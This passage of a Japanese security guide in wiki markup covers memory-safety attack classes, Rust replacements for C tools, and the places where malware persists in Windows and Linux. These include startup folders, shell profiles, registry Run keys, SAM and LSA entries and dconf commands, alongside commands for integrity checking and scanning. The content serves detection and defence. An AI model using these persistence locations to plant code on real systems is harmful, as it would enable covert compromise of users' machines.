なお、制御フロー強制テクノロジーの間接分岐追跡とシャドウスタックが有効であっても異なる関数の通常呼び出しは防げません。分かりやすい例では関数の間接呼び出しにおいて関数ポインタを&lt;code&gt;sigaction&lt;/code&gt;へと変更して独自のシグナルハンドラを登録し、その後クラッシュさせてそのシグナルハンドラを呼び出すという「セグメンテーション違反指向プログラミング」(SFOP) が挙げられます。また攻撃に使える関数 (dop gadgets) {{efn|dop gadgetsの検索の公式実装は「DOP-StaticAssist」[https://github.com/melynx/DOP-StaticAssist]だが長らく更新されておらず古いLLVM 3.5に依存している状態となっている。}}の通常呼び出しだけで攻撃する「Data-Oriented Programming」(DOP) &lt;ref&gt;Hong Hu et al. [https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&amp;arnumber=7546545 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks] IEEE 2016年&lt;/ref&gt;{{efn|セキュリティ以外の文脈におけるデータ指向プログラミング、データ指向設計、データ駆動型設計とは異なる。}}という手法も存在します。

C++向けでは仮想関数テーブル (vtable) を改ざんして攻撃に使える仮想関数（仮想関数ガジェット、vfgadget）を呼び出す「偽造オブジェクト指向プログラミング」(COOP) という攻撃手法も登場しています。

=== メモリ安全性の高いソフトウェアへ ===
既存のソフトウェアの脆弱性は7割がメモリ安全性の問題に起因すると言われています&lt;ref&gt;[https://www.cisa.gov/sites/default/files/2023-12/CSAC_TAC_Recommendations-Memory-Safety_Final_20231205_508.pdf REPORT TO THE CISA DIRECTOR Technical Advisory Council Memory Safety] サイバーセキュリティ諮問委員会 (CSAC) 2023年12月5日&lt;/ref&gt;。しかしながら[[C言語]]や[[C++]]はメモリ安全性が低いため、メモリ安全性の確保できる[[Rust]]などで書かれた代替プログラムが登場しています:
{| class=&quot;wikitable&quot;
|+ コマンドのRust版
|-
! コマンドの概要 !! 従来版 !! Rust版
|-
| Unix系の基本コマンド群 || GNU Core Utilities || '''uutils coreutils'''
|-
| ファイル検索コマンド群{{efn|&lt;code&gt;find&lt;/code&gt;、&lt;code&gt;locate&lt;/code&gt;、&lt;code&gt;updatedb&lt;/code&gt;、&lt;code&gt;xargs&lt;/code&gt;の4コマンド}} || GNU Findutils || '''uutils findutils'''
|-
| ファイル差分コマンド群{{efn|&lt;code&gt;diff&lt;/code&gt;、&lt;code&gt;cmp&lt;/code&gt;、&lt;code&gt;diff3&lt;/code&gt;、&lt;code&gt;sdiff&lt;/code&gt;の4コマンド}} || GNU Diffutils || '''uutils diffutils'''
|-
| ストリームエディタ (sed) || GNU sed / FreeBSD sed || '''uutils sed'''
|-
| AWKスクリプト || GNU AWK || '''uutils AWK'''
|-
| 文字列検索 || GNU Grep || '''uutils Grep'''
|-
| tarアーカイブ || GNU Tar || '''uutils tar'''
|-
| アカウント管理コマンド群 || shadow-utils || '''uutils shadow-utils'''
|-
| アクセス制御コマンド群{{efn|&lt;code&gt;chacl&lt;/code&gt;、&lt;code&gt;getfacl&lt;/code&gt;、&lt;code&gt;setfacl&lt;/code&gt;の3コマンド}} || acl || '''uutils acl'''
|-
| procfs{{efn|プロセスファイルシステム}}表示コマンド群 || procps / procps-ng || '''uutils procps'''
|-
| ホスト名管理コマンド群{{efn|&lt;code&gt;hostname&lt;/code&gt;、&lt;code&gt;dnsdomainname&lt;/code&gt;、&lt;code&gt;domainname&lt;/code&gt;、&lt;code&gt;nisdomainname&lt;/code&gt;、&lt;code&gt;ypdomainname&lt;/code&gt;の5コマンド。}} || hostname || '''uutils hostname'''
|-
| Linuxユーティリティ || util-linux || '''uutils util-linux'''
|- 
| 権限昇格 || sudo || '''sudo-rs'''
|-
| 暗号・署名システム || GnuPG || '''Sequoia PGP'''
|-
| 時刻同期 || ntpd || '''ntpd-rs'''
|-
| セキュアシェル (SSH) || OpenSSH || '''russh'''
|}

これらのRustで書かれたコマンドのうちuutils coreutilsとsudo-rsはUbuntuに採用されています。

またライブラリでもRustだけ (Pure Rust) で実装されたものが登場しています:
* 画像ライブラリ - これらは例えばGNOMEデスクトップ環境の画像ローダーGlycinから使われています&lt;ref&gt;[https://gitlab.gnome.org/GNOME/glycin GNOME / glycin · GitLab] GNOME Project&lt;/ref&gt;。
** libpng → pngクレート - PNG画像向け。
** libgif → gifクレート - GIF画像向け。
** libjpeg / libjpeg-turbo → zune-jpeg / libjpeg-turbo-rs - JPEG画像向け。
** OpenJPEG → hayro-jpeg2000 - JPEG 2000画像向け。
** libtiff → tiffクレート - Tiff画像向け
** libwebp → image-webpクレート - WebP画像向け。
** libraw → libopenraw - RAW画像向け。
** librsvg - SVG画像向け。C言語からRustに書き直しされました。
* 圧縮ライブラリ
** zlib / zlib-ng → zlib-rs - Deflate圧縮向け
** libbzip2 → bzip2-rs - BZ2圧縮向け
* 暗号化ライブラリ
** OpenSSL / GnuTLS → [[:w:en:Rustls|Rustls]]
* Unicode処理ライブラリ
** ICU4C → ICU4X
* テキスト整形ライブラリ
** HarfBuzz → HarfRust
* ブラウザエンジン
** Blink/Gecko → Servo

&lt;!--
=== 整合性チェック ===
PatchGuard / HyperGuard
--&gt;

== 不審な改変が行われていないかを調べる ==
例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
